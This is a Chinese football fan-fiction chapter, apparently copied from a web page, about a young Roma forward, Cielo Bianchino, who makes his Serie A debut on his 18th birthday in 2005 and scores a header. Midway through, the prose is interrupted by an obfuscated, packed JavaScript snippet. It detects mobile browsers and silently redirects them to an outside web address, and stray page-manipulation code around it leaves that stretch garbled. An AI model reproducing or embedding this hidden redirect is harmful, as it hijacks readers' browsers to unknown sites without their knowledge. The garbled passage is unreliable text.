2005年8月27日-罗马。
第二天罗马即将迎来05-06赛季的首场比赛，它是上赛季成绩不甚理想、掉出欧战区之后换帅后的首战，是新帅斯帕莱蒂入主罗马后证明自己的时机。
众媒体的视线聚焦于话筒前的光头主帅，侧面门后的位置无人留意，那里藏着俱乐部夏天的新援切洛·比安奇诺，他正安静而专注地倾听现场的对话。
记者接连抛出话题，其中不乏一些对更衣室状况的无聊揣测，还有对伤停球员康复状态的询问，切洛想听的不是这些。
终于，
“斯帕莱蒂先生，”一位记者提问道。
“关于俱乐部方面已公布的大名单，我注意到，来自卡利亚里的17岁前锋切洛·比安奇诺也在其列。
请问您是否在会在本赛季的开幕战，给比安奇诺，和在俱乐部与人矛盾频出的卡萨诺出场机会?”
切洛抿紧了嘴唇倾听着，尽管他知道，这个时候教练不可能公布答案，但他还是不免期待着教练对自己的评价，哪怕只是场面话。
斯帕莱蒂从容不迫，没有透露一点偏好和信息。
“他们都是罗马球员，所以无论如何，我会在合适的时机，将他们放到合适的位置上。”
好吧，完美的场面话。切洛紧绷的弦松下来了。
记者显然并不满足与此，这点素材单薄得可怕。他复又提问：
“斯帕莱蒂先生，您阵中的小将比安奇诺在母队卡利亚里升甲的上赛季里，全程未获出场机会，您认为他真的已经具备意甲球员的能力了吗?
“切洛加盟罗马后，我能从训练中看到他的积极热烈，他的能力是意甲水平的。我看好他的未来。”
“ 即使比安奇诺甚至没有过一场顶级联赛出战经验?”记者追问。
“是的。即便他的经验薄弱，但我确信，罗马会是他登陆意甲最合适的舞台。”斯帕莱蒂语气笃定。
发布会结束，切洛眼巴巴地等在走廊里，一看拐角露出那个亮堂的光头，他就赶快迎了上去。
“先生!下午好!”
“切洛?你怎么没去吃饭?”
“先生，吃饭的事儿不着急，我想说的是，我明天就是我的生日了，18岁生日!”
斯帕莱蒂看着这个比他还高些的男孩，海蓝的眼睛里闪着期盼的光彩，像是在邀玩的大狗。
“哦?生日快乐，那你是来向我要礼物吗?可以给你买。”
切洛期待的礼物自然是在明天的比赛中上场，但他不能开口向主教练提出这样的要求。
尽管上赛季的铜靴蒙特拉伤缺，斯帕莱蒂的4-2-3-1正适合用雷吉纳这支下游球队练兵。
他只是又明示了一遍：
“先生，你知道我想要什么礼物!我想，我不能直接说出来，但您是我最最知心的老师!”
“礼物要在生日当天拆封。去吧，切洛。”
好吧，切洛只好和教练道了别，回宿舍的路上，碰上特里戈利亚基地的工作人员，他们都鼓励他，说放松心态，期待他能完成首秀。
切洛去餐厅匆匆吃完，回到宿舍就拨通了家里的电话。
“妈妈，你说我明天会有机会上场吗，我是说，如果有一个合适的位置空缺的话?
“如果能的话，参考我以前的录像，你说我是应该戴发带吗?还是应该用发蜡和发胶把前侧面固定下呢？”
或许一个人就是没法从妈妈那儿得到客观回答的，切洛收到了一箩筐的夸奖，这位女士是首个断言切洛状态奇佳，绝对适合首发的人。
“宝贝，你怎样都非常帅气，但我想，你还是用发带更好，那样不需要花心思打理也能漂漂亮亮的，是性价比最高的造型了。”
切洛遗传到母亲的发质，乌黑的直发留到脖颈中间处，他又有定期打薄的习惯，头发只要洗完就看着很好。
挂了电话，信心和期待值再次提升的切洛劝自己平静下来，控制住，不要再去想自己没法决定和预测的事情。
切洛翻着杂志，连载的文章部分根本过不了脑，他的心绪已经飞到罗马奥林匹克球场，只能勉强投入进每页角落的笑话栏，直到渐渐有了睡意。
宿舍的小台灯光线柔和，像蜡烛的暖光。在切洛平缓的呼吸声中，切洛·比安奇诺18岁的前夜过去了。
8月28日，意甲联赛第一轮即将开始，罗马主场迎战雷吉纳。电视台转播的解说在赛前介绍着双方阵容。
罗马方面排出4-2-3-1，雷吉纳则以3-5-2的阵型应战。
“-看来斯帕莱蒂赛前所言不虚，在蒙特拉伤缺的情况下，他选择了比卡萨诺更年轻五岁的小将比安奇诺顶在4231阵前。
“-是鲁莽还是奇谋，让我们90分钟后见分晓!”
“妈妈她们应该已经打开电视机了吧?马上就要开赛了，我有告诉过她们我穿44号吧?肯定有的，这么重要的事我肯定不会忘…”
切洛在等候期间回想着有没有什么错漏之处，时间很快过去。
队长托蒂裤腰里插着队旗走出球员通道，切洛紧跟着这位传奇球星，盯着他被水浸湿后暗金色的后脑勺。
切洛全程像脚下装了弹簧似的，他的心被期待填满，嘴角完全压不住，引得略扫过球员的摄像也驻足几秒。
撒丁岛-卡利亚里。
比安奇诺女士的咖啡馆里，只有两个被大雨扣在店里的无聊顾客。
电视上正放着转播，本来对足球不感兴趣的顾客，余光扫过切洛的镜头，也不免移过来视线，停下了搅拌饮料的勺子。
拉近的镜头里，男孩肤色较浅，但略带红润的脸颊和嘴唇中和掉了浅肤色带来的脆弱感。
他脸上的淡色雀斑像是奶油霜上点缀的橙皮屑。笑容灿烂得简直能让阴天放晴。
一边用笔记本电脑做着作业的女大学生出声搭话：“小姐，那个小帅哥是切洛，卡利亚里的孩子，比安奇诺女士的儿子。在罗马踢前锋的，是明日之星呢!”
比安奇诺女士在吧台后笑着应了，反正暂时没有顾客，她拿出薄脆夹心饼干和冰镇柠檬水，走进用餐区域，把它们放在其中比较大的圆桌上，招待两位避雨顾客来一起看比赛。
交换队旗、猜边，罗马奥林匹克球场激荡着红色的浪潮，主场球迷的呼声包裹住切洛，他已经迫不及待要向球迷们证明自己了。
一、二、三、四。
切洛压了左右手四根手指一边各两下，关节发出令他安心的响声，这是他的幸运仪式。
4指、4下，加上他穿了44号，就像是带来好运的、他的新电话号码一样，有连着的四个4。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16878607|191935||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
（那个新号码在夏窗接到了罗马的邀请）
切洛准备好划开生日礼物的包装了。
哨响，中圈开球。
开场第5分钟，雷吉纳边右前卫梅斯托持球自右边路推进。
拼抢积极的切洛迅速从前场折回贴上抢断，他才一拨走足球预备趟走，雷吉纳前来接应的双前锋便已经就位，身后的雷吉纳中场也压上预备断球。
“-小将比安奇诺防守意识很好啊，只可惜视野方面尚有欠缺，意甲球员的补防意识高出他以往效力的乙级赛事一个档次。
“-这样鲁莽的上抢，使他陷入雷吉纳的陷阱里，丢失球权——”
多人包夹中，切洛匆匆扫了眼场上双方球员的位置，果断一脚送往敌方半场的空隙，那里是防守的漏洞，但同时也无人接应。
“-这是，他没有黏球，应该是要分给侧方接应的塔代伊…传球!
“-哎呀，那是个无人接应的空档!”
切洛立即起步追向刚才那一脚出球的方向，雷吉纳的双中场合围封堵被他直接扛开。
切洛跑动中的平衡性令人惊叹，早有上身体拦截、提前稳住下盘的准备的雷吉纳球员，反倒被这一刮蹭带了个趔趄。
“-比安奇诺!雷吉纳的球员试图撞倒他，这显然未能奏效!”
眼看切洛突破中场，直插雷吉纳腹地，雷吉纳方的后腰紧急逼上。
里格尼没法找到放铲的时机，只好上手勉强拽住切洛的上衣，哪怕只能拼着犯规把切洛放倒，那也一定得让他倒在禁区外。
“-里格尼!这样明目张胆的拉扯球衣!但我们的切洛是势不可挡的!”
进攻有利，裁判并未鸣哨暂停比赛。
切洛的速度几乎没被这个一米七多的挂件干扰，里格尼被带着向前跑，终于再跟不上，只得放弃拉拽，松手后甚至还摔倒在地。
此时里格尼已被拉出十数米，他起身再度回追，却明确自己已经无力阻拦切洛直面雷吉纳的中卫了。
“-比安奇诺一路碾平障碍，深入敌后!”
雷吉纳的后卫立即迎上，切洛面对着明显已经开始陷入混乱，在错误的时机慌忙倒地放铲的德罗萨，轻巧地跃起躲过这一下。
“-德罗萨放铲!他没能铲到比安奇诺传球!这球给了托蒂!进攻还在继续!”
随后面对另两位即将就位的后防球员，切洛将球分给侧方无人盯防的队长托蒂。
无球状态的他不再被轻视，他被德罗萨贴身盯紧。
托蒂已经持球逐渐逼近底线，这个位置角度很小，但罗马队长的精湛射术值得信任。
“-托蒂!要射门了吗？打门——”
托蒂做出射门的假动作，引得雷吉纳中卫匆忙伸腿阻拦，而后将皮球挑向禁区，传中的球路越过人满为患的禁区，掠过数个头顶。
这一脚妙传的落点，直指在这一分钟里大放异彩的切洛!
这一球切洛接得无比舒适，他顶着身后的拉拽，如从小到大每次比赛和训练中的无数次抢点争顶时一样，他高高跃起，顶在皮球上!
“-比安奇诺，头球攻门!”
这一下有了，切洛顶到时就已有预感，他平稳落地，抬头一看，果然。
门框里白色的涟漪尚未平息，罗马奥林匹克的红浪陷入狂欢。